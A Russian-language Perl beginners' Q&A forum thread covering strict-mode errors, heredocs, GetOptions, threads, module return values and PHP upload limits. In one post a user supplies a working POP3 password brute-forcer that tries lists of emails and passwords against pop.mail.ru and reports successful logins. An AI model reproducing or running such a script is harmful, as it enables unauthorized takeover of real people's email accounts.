[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    На сервере походу нету Net::pOP3;
     
  2. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    $pop = Net::pOP3->new('pop.mail.ru');
    $pop = Net::pOP3->new('pop.mail.ru', Timeout => 60);

    зачем 2 раза?

    в начало добавь
    use strict;
    use warnings;
     
  3. SeeJay

    SeeJay New Member

    Joined:
    21 Feb 2006
    Messages:
    18
    Likes Received:
    1
    Reputations:
    -1
    По поводу два раза думаю да Вы правы но если добавляю использование библиотек то сразу же мой скрипт не работает.
    Ошибка:


    Code:
    Global symbol "$Fpass" requires explicit package name at hello.pl line 7.
    Global symbol "$Femails" requires explicit package name at hello.pl line 8.
    Global symbol "$finds" requires explicit package name at hello.pl line 10.
    Global symbol "$emails" requires explicit package name at hello.pl line 16.
    Global symbol "$Femails" requires explicit package name at hello.pl line 16.
    Global symbol "$emails" requires explicit package name at hello.pl line 17.
    Global symbol "$email" requires explicit package name at hello.pl line 20.
    Global symbol "$passwords" requires explicit package name at hello.pl line 22.
    Global symbol "$Fpass" requires explicit package name at hello.pl line 22.
    Global symbol "$passwords" requires explicit package name at hello.pl line 23.
    Global symbol "$pass" requires explicit package name at hello.pl line 26.
    Global symbol "$pop" requires explicit package name at hello.pl line 28.
    Global symbol "$pop" requires explicit package name at hello.pl line 30.
    Global symbol "$email" requires explicit package name at hello.pl line 30.
    Global symbol "$pass" requires explicit package name at hello.pl line 30.
    Global symbol "$email" requires explicit package name at hello.pl line 33.
    Global symbol "$pass" requires explicit package name at hello.pl line 34.
    Global symbol "$logs" requires explicit package name at hello.pl line 35.
    Global symbol "$pass" requires explicit package name at hello.pl line 39.
    Global symbol "$logs" requires explicit package name at hello.pl line 40.
    Global symbol "$pop" requires explicit package name at hello.pl line 43.
    Global symbol "$passwords" requires explicit package name at hello.pl line 44.
    Global symbol "$emails" requires explicit package name at hello.pl line 46.
    Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 19.
    Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 25.
    Execution of hello.pl aborted due to compilation errors.
     
  4. SeeJay

    SeeJay New Member

    Joined:
    21 Feb 2006
    Messages:
    18
    Likes Received:
    1
    Reputations:
    -1
    Ребятки может быть Вы делали что-то подобное?
    Если не трудно скиньте, пожалуйста, скрипт! Буду очень благодарен.

    С уважением, SeeJay!
     
  5. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Попробуй так:
    Code:
    #!usr/bin/perl -w
    
    use IO::Socket;
    
    $Fpass   = 'passwords.txt';
    $Femails = 'emails.txt';
    
    
    open($emails, $Femails);
    while(<$emails>)
    {
    	$email = $_;
    	chomp($email);
    	
    	open($passwords, $Fpass);
    	while(<$passwords>)
    	{
    		$pass = $_;
    		chomp($pass);
    		$sock = new IO::Socket::INET 
    		(
    		PeerAddr => 'pop.mail.ru',
       		PeerPort => 110, 
       		PeerProto => 'tcp', 
       		TimeOut => 60
    		) or die "Can't connect\n";	
    
    		print $sock "USER $email\n\r"; 
    		sysread ($sock, $answ, 800);
    		print $sock "PASS $pass\n\r\n\r";
    		sysread ($sock, $answ, 800);
    		print $sock "\n\r";
    		sysread ($sock, $answ, 800);
    
    		close($sock);
    
    		if($answ =~ /maildrop/)
    		{		
    			print  "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
    				   "[>]Email:".$email."\n".
    				   "[>]Password:".$pass."\n";
    		}
    		else
    		{
    			print "[>]BAD Password:".$pass;
    		}
    	}
    	close($passwords);
    }
    close($emails);
    
     
    _________________________
  6. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    есть .txt файл, в нем сгенерирован прайс лист вот в таком виде

    Code:
    
    1	-1	-1	-1	Серверы и рабочие станции	0	0	0
    1	1	-1	-1	Acer	0	0	0
    1	1	1	-1	Рабочии станции	0	0	0
    1	1	1	93913	Рабочая станция Acer Aspire E360 91.9N97E.R8S K8 MCR/ATHLON 64 3400/80GB SATA/512MB DDR400/DVD RW /nVidia G7300LE 256MB DVI TV-out, PCIE/Win XP MCE & Works/USB multimedia kb and optical mouse/MS MCE Remote Control & Receiver/ACR - Russian	396	392.0	385.00
    1	1	1	88830	Рабочая станция Acer Aspire iDea 510 98.Q6B79.RHP Intel Core 2 Duo T5500, 2x512Mb DDRII SODIMM, 250Gb SATA, GeForce 7600GS 256Mb+2xTV-tuner, DVD/RW Slot-in, wireless kb&mouse, Gigabit LAN+Wi-Fi, Vista HP	1683	1667.7	1652.40
    1	1	1	89246	Рабочая станция Acer Aspire L320 92.2NG9Z.RHR Intel Core 2 Duo E4400  2x512Mb DDRII 533 SO-DIMM  250Gb SATA  onboard Intel GMA 3000  DVD RW Slot-In  corded kb&mouse  Gigabit LAN+Wi-Fi Vista HP+Ent	734	727.0	720.36
    
    
    
    и есть скрипт на перле который этот прайс заливает в базу на сайте, вот скрипт:

    Code:
    
    #!/usr/bin/perl -w
    
    #=============================================================================
    #=============================================================================
    #=============================================================================
    
    sub loadprice2{
    
    &writebase("delete from pricelist");
    
    open F,"price.sql";
    @d=<F>;
    close F;
    
    $d=join "",@d;
    $d=~s/[\r\n]/<br>/g;
    
    $d=~s#{{([\d-]+),(\d*)}}?#$1\.$2#g;
    $d=~s#{{##g;
    $d=~s#}}##g;
    
    
    $d=~s/<br>/\n/g;
    
    &writebase($d);
    
    
    }
    
    #=============================================================================
    #=============================================================================
    #=============================================================================
    
    sub loadprice{
    
    $db="DBI:mysql:wiz:localhost:3306";
    $db=DBI->connect($db,"login","pass");
    open F,"p.txt";
    my @d=<F>;
    close F;
    $db->do("TRUNCATE TABLE pricelist");
    for my $i (@d){
            my @z=split /\t/,$i;
            $db->do('insert into pricelist (razdel_id,cat_id,subcat_id,id,name,price1,price2,price3) values ('.(join ',',map {$db->quote($_)} @z).')');
    }
    $db->do("update options set price_update=now()");
    $db->disconnect();
    print "<script language=javascript>top.location.href='?$rand'</script>";
    }
    
    #=============================================================================
    #=============================================================================
    #=============================================================================
    
    1;
    
    
    

    мне нужно такой же скрипт на пхп написать, можете помочь, просто в перле ока ничо не понимаю((

    или хотя бы обьясните как этот скрипт работает примерно, чтоб мне было от чего оттолкнутся....
     
    #506 Корвин, 5 Jun 2008
    Last edited: 5 Jun 2008
  7. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    my %options = (
    fields => 'fields',
    maps => 'map',
    logs => 'logs',
    );
    GetOptions(
    "fields=s" => \$options{fields},
    "maps=s" => \$options{maps},
    "logs=s" => \$options{logs},
    "help" => \$options{help}
    );

    Кто-нибудь можетр астолковать,что случается?)).Сначала создаётся ассоциативный массив %options,а вот что такое GetOptions() не знаю(.Изучаю Перл второй день,так что прошу помощи в разъяснении,что тут происходит))



    И ещё вопрос - Есть такой код:

    if ($options{help}) {
    my $msg = <<EOF;
    mapview.pl [OPTIONS]

    Options:
    --fields=path Path to the folder containing .fld files.
    --maps=path Path to the folder containing map images.
    --logs=path Path to the folder containing log files.

    EOF
    $msg =~ s/^\t*//gm;
    print $msg;
    exit 1;
    }

    Вопросы: 1.Что такое << перед EOF ? Смахивает на какой-то поток как в Си))).
    2.Что такое mapview.pl [OPTIONS] ? Смахивает на массив,никогда такого не видел оО(.
    3.Почему после EOF( второго по счёту) указывается блок кода,если после EOF всё игнорируется?)

    ЗЫ: Если мои вопросы будут удалять,задавать я их не буду =_______=,ибо это топик ВОПРОСЫ !)
     
    #507 Велемир, 7 Jun 2008
    Last edited: 7 Jun 2008
  8. demonoid

    demonoid Banned

    Joined:
    12 Jan 2007
    Messages:
    101
    Likes Received:
    111
    Reputations:
    27
    Code:
    GetOptions(
    "fields=s" => \$options{fields},
    "maps=s" => \$options{maps},
    "logs=s" => \$options{logs},
    "help" => \$options{help}
    );
    Getopt::Long


    1. Это строчно-ориентированная форма расстановки кавычек.
    2. mapview.pl [OPTIONS] - это часть строки скаляра msg
    3. кто сказал что игнорируется %) ?
     
  9. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Code:
    my $msg = <<EOF;
    mapview.pl [OPTIONS]
    
    Options:
    --fields=path Path to the folder containing .fld files.
    --maps=path Path to the folder containing map images.
    --logs=path Path to the folder containing log files.
    
    EOF
    
    Это один из вариантов объявления строковой переменной $msg, так называемый heredoc. Все, что находится после
    Code:
    my $msg = <<EOF;
    
    и до строки
    Code:
    EOF
    
    является многострочной heredoc-строкой. Перл в таком случае не будет считать EOF признаком конца файла, как ты видимо, подумал. Это просто признак конца heredoc-строки. Вместо EOF может стоять любая последовательность символов.
    Если непонятно объяснил, то вот тебе вариант строки в более привычной форме
    Code:
    my $msg = "mapview.pl [OPTIONS]\n"
      . "\n"
      . "Options:\n"
      . "--fields=path Path to the folder containing .fld files.\n"
      . "--maps=path Path to the folder containing map images.\n"
      . "--logs=path Path to the folder containing log files.\n";
    
    или
    Code:
    my $msg = "mapview.pl [OPTIONS]\n\nOptions:\n--fields=path Path to the folder containing .fld files.\n--maps=path Path to the folder containing map images.\n--logs=path Path to the folder containing log files.\n";
    
    Согласись, что heredoc-вариант более предпочтителен с точки зрения читабельности кода.
    Если все равно непонятно, учи перл, юзай гугл.

    ЗЫ. Такой вариант объявления строк есть и в PHP
     
  10. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Попытка создания многопоточного скрипта:
    Code:
    #!/usr/bin/perl 
    use threads;
    
    for(0..10) { $trl[$_]=threads->create(\&trp,$_);}
    for(@trl)  { $_->join;} 
     
    sub trp
    {
        my $i=1, my $x=5;
        while($i<=$x)
        {
            print $i.":test\n";
            $i++;
        }
    }
    По идее должны записи выводится хаотично.
    Но выводятся они так:
    Потоки то есть, но почему то последовательно а не параллельно.
     
  11. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Но запускаешь то потоки ты не одновременно, на самом деле они параллельно выполняются, через какое то время появляется рассинхронизация.

    Например у меня:
     
    _________________________
  12. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    .Slip
    http://nopox.wordpress.com/tag/%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE%D0%BF%D0%BE%D1%82%D0%BE%D1%87%D0%BD%D0%BE%D1%81%D1%82%D1%8C/
     
  13. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    И каким образом мне достичь рассинхронизации у себя? Что бы наглядно было

    add:

    /me достиг

    Не подумал сразу что у меня проц. amd x2 2.22 =\

    add:

    >> Но запускаешь то потоки ты не одновременно
    Вот на примере сурса, каким образом запустить одновременно?
     
    #513 .Slip, 11 Jun 2008
    Last edited: 11 Jun 2008
  14. akakernel

    akakernel New Member

    Joined:
    10 May 2008
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Не могу понять почем не работает следующее:
    Code:
    #!/bin/perl -w
    # имя файла some.pl
    require libp;
    print "Введи чило для вычисления факториала: ";
    chomp($inside=<STDIN>);
    $result=libp::faktorial($inside);
    print "Факториал числа $inside равен ",$result,"\n";
    Code:
    #!/bin/perl
    # имя файла libp.pm
    package libp;
    sub faktorial {
        $faktorial=1;
        $number=shift;
        if ($number<=1) { return 1;}
        else {
    	foreach (1..$number) {
    	    $faktorial=$faktorial*$_;
    	}
        }
        return $faktorial;
    
    Code:
    laptop:~$ perl some.pl 
    libp.pm did not return a true value at some.pl line 3.
    
     
  15. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    #!/bin/perl
    # имя файла libp.pm
    package libp;
    sub faktorial {
    $faktorial=1;
    $number=shift;
    if ($number<=1) { return 1;}
    else {
    foreach (1..$number) {
    $faktorial=$faktorial*$_;
    }
    }
    return $faktorial;
    }
    1 # не хватает в конце
     
    #515 Piflit, 15 Jun 2008
    Last edited: 15 Jun 2008
  16. akakernel

    akakernel New Member

    Joined:
    10 May 2008
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    фак мой моск, не доглядел :)
     
  17. emik

    emik Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    57
    Likes Received:
    18
    Reputations:
    2
    интересует вопрос: возможли ли вообще через РНР загрузить большой файл. потому как маленькие файлы загружает а большые ни в какую. значение переменных поправи в php.ini - не помогло (.

    и еще я питаюсь загрузить файл пдф
     
  18. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    kakbe(Perl != PHP)...
     
  19. emik

    emik Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    57
    Likes Received:
    18
    Reputations:
    2
    я понимаю что здесь против перла не попреш - но нужно зделать на пхп. Есть там какие-то бока с загрузкой файлов пдв, ехе, джвю ?
     
  20. emik

    emik Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    57
    Likes Received:
    18
    Reputations:
    2
    нашел директиву в настройках php.ini .может ли она влиять?
    Code:
    max_execution_time = 30     ; Maximum execution time of each script, in seconds
    З.Ы. загрузка фыайла на сервер осуществляется. создается копия в темп директории и постоянно наращивается размер, а потом обрывается в место того что бы скопироватся по назначению. с файлами малеького размера все нормально (. файлы размером 1,5 мб тоже не загружает (
     
Thread Status:
Not open for further replies.